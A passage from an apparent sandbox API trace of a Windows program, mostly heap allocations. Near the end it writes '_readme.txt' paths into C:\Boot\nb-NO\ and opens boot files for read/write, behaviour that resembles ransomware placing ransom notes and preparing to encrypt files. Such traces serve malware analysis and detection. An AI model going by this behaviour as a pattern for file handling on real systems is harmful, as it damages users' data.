Flags=0x0, Size=0x20) returned 0x3018748 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.542] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.542] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.542] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.542] PathFindFileNameW (pszPath="") returned="" [0122.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.543] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.543] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.543] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.543] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x30667b8 [0122.543] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0122.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.543] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0122.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.544] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.544] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0122.544] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.544] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned=".txt" [0122.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.544] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.544] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.545] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.545] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.545] RtlAllocateHeap (HeapHandle=0x5b0000, 